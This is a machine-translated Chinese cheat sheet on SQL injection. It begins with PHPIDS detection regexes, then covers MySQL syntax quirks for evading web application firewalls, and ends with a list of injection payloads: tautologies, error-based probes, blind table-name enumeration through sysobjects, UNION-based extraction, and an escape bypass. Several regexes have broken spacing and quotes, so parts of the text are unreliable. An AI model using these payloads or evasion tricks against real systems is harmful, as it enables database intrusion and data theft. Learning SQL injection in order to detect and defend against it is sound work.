(?:(select|;)\s+(?:benchmark|if|sleep)\s?(\s(?\s\w+)
(?:create\s+function\s+\w+\s+returns)|(?:;\s(?:select|create|rename|truncate|lo ad|alter|delete|update|insert|desc)\s(
(?:alter\s\w+.character\s+set\s+\w+)|(“;\swaitfor\s+time\s+”)|(?:”;.:\sgoto)
(?:procedure\s+analyse\s()|(?:;\s(declare|open)\s+[\w-]+)|(?:create\s+(procedure|function)\s\w+\s(\s)\s-)|(?:declare[^\w]+[@#]\s\w+)|(exec\s\
(\s@)
(?:select\spg_sleep)|(?:waitfor\sdelay\s?”+\s?\d)|(?:;\sshutdown\s(?:;|–|#|\/*|{))
(?:*ec\s+xp_cmdshell)|(?:”\s!\s["\w])|(?:from\W+informationschema\W)|(?:(?:(?:current)?user|database|schema|connec tion_id)\s([^)])|(?:”;?
\s(?:select|union|having)\s[^\s])|(?:\wiif\s()|(?:exec\s+master.)|(?:union select @)|(?:union[\w(\s]select)|(?:select.\w?user()|(?:into[\s+]+
(?:dump|out)file\s”)
(?:merge.using\s()|(execute\simmediate\s”)|(?:\W+\d\shaving\s[^\s-])|(?:match\s[\w(),+-]+\sagainst\s()
(?:,.[)\da-f"]“(?:”.”|\Z|[^"]+))|(?:\Wselect.+\Wfrom)|((?:select|create|rename|truncate|load|alter|delete|up date|insert|desc)\s(\sspace\s()
(?:[\$(?:ne|eq|lte?|gte?|n?in|mod|all|size|exists|type|slice|or)])
(?:(sleep((\s)(\d)(\s))|benchmark((.)\,(.))))
(?:(union(.)select(.)from))
(?:^(-0000023456|4294967295|4294967296|2147483648|2147483647|0000012345|-2147483648|-2147483649|0000023456|2.2250738585072007e-308|1e309)$)
PHPIDS使用的一些正則表達式0.7。
NULL的別名
在MySQL中,NULL可以寫為\ N區分大小寫。 \ n不是null。<br>
這意味着任何在用戶輸入上執行“to_lower”並查找“null”的WAF將錯過這種情況。
浮點
digits
digits[.]
digits[.]digits
digits[eE]digits
digits[eE][+-]digits
digits[.][eE]digits
digits[.]digits[eE]digits
digits[.]digits[eE][+-]digits
[.]digits
[.]digits[eE]digits
[.]digits[eE][+-]digits
可選以[+ - ]開頭
例外:1.AND 2(“1.”“AND”之間沒有空格)一些解析器接受,有些則不接受。 1e1 vs. 1e1.0?未定義
十六進制文字
0xDEADbeef
0x區分大小寫。
二進制文字
b’10101010′<br>
0b010101
C風格字符串合並<br>
C風格的連續字符串合並為一個。
SELECT ‘foo’ “bar”;
Ad-Hoc Charset
_charset’….’<br>
_latin1′…..’<br>
_utf8′….’<br>
Operators
!=, <=>
表達
使用“OR 1 = 1”的公共查詢擴展名。 除了使用文字之外,還可以使用函數:
COS(0)= SIN(PI()/ 2)<br>
COS(@VERSION)= -SIN(@VERSION + PI()/ 2)
“IN”列表
WHERE id IN (1,2,3,4)
這些必須在任何平台,框架或語言中手動創建,不對此構造進行API或參數綁定。 沒有一致,安全的方法來使這個(除了約定,驗證)未定義
ESP:
正常的SQL注入:
1 OR 1=1
使用封裝數據的正常SQL注入:
1′ OR ’1′=’1
盲SQL注入以拋出錯誤以驗證封裝不起作用。 這里的目標是拋出一個錯誤,使應用程序向我們顯示它沒有正確封裝引號:
1’1
使用EXEC創建錯誤的盲SQL注入:
1 EXEC SP (or EXEC XP)
盲SQL注入檢測(如果我們排除了AND 1 = 1部分,那么如果我們得到過濾就不會給我們相同的結果。如果它確實給我們相同的結果它表明應用程序易受攻擊):
1 AND 1=1
盲注SQL注入嘗試通過潛在的名稱進行強力迭代來定位表名(您必須重命名表名,直到找到匹配項):
1′ AND 1=(SELECT COUNT(*) FROM tablenames); –
使用反斜杠避開逃逸(這假定應用程序使用另一個單引號注釋掉單引號,並在它之前引入反斜杠,它會注釋掉過濾器添加的單引號)。 這種類型的過濾器由mySQL的mysql_real_escape_string()和PERL的DBD方法$ dbh-> quote()應用:
\’; DESC users; –
通過嘗試使用上面看到的反斜杠方法創建錯誤來更盲目的SQL注入:
1\’1
通過調用偽表創建錯誤。 這可以通過調用不存在的表來嘗試創建錯誤來幫助公開易受攻擊的應用程序(嘗試使用和不使用引號):
1′ AND non_existant_table = ’1
枚舉數據庫表名。 通過將116更改為不同的數字,您可以使用logrithmic reduction來查找數據庫表名的第一個char。 然后迭代第一個1中的1,你最終可以獲得整個表名。
1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype=’U'), 1, 1))) 116
使用SQL Server中的sysObjects表查找用戶提供的表:
1 UNION ALL SELECT 1,2,3,4,5,6,name FROM sysObjects WHERE xtype = ‘U’ –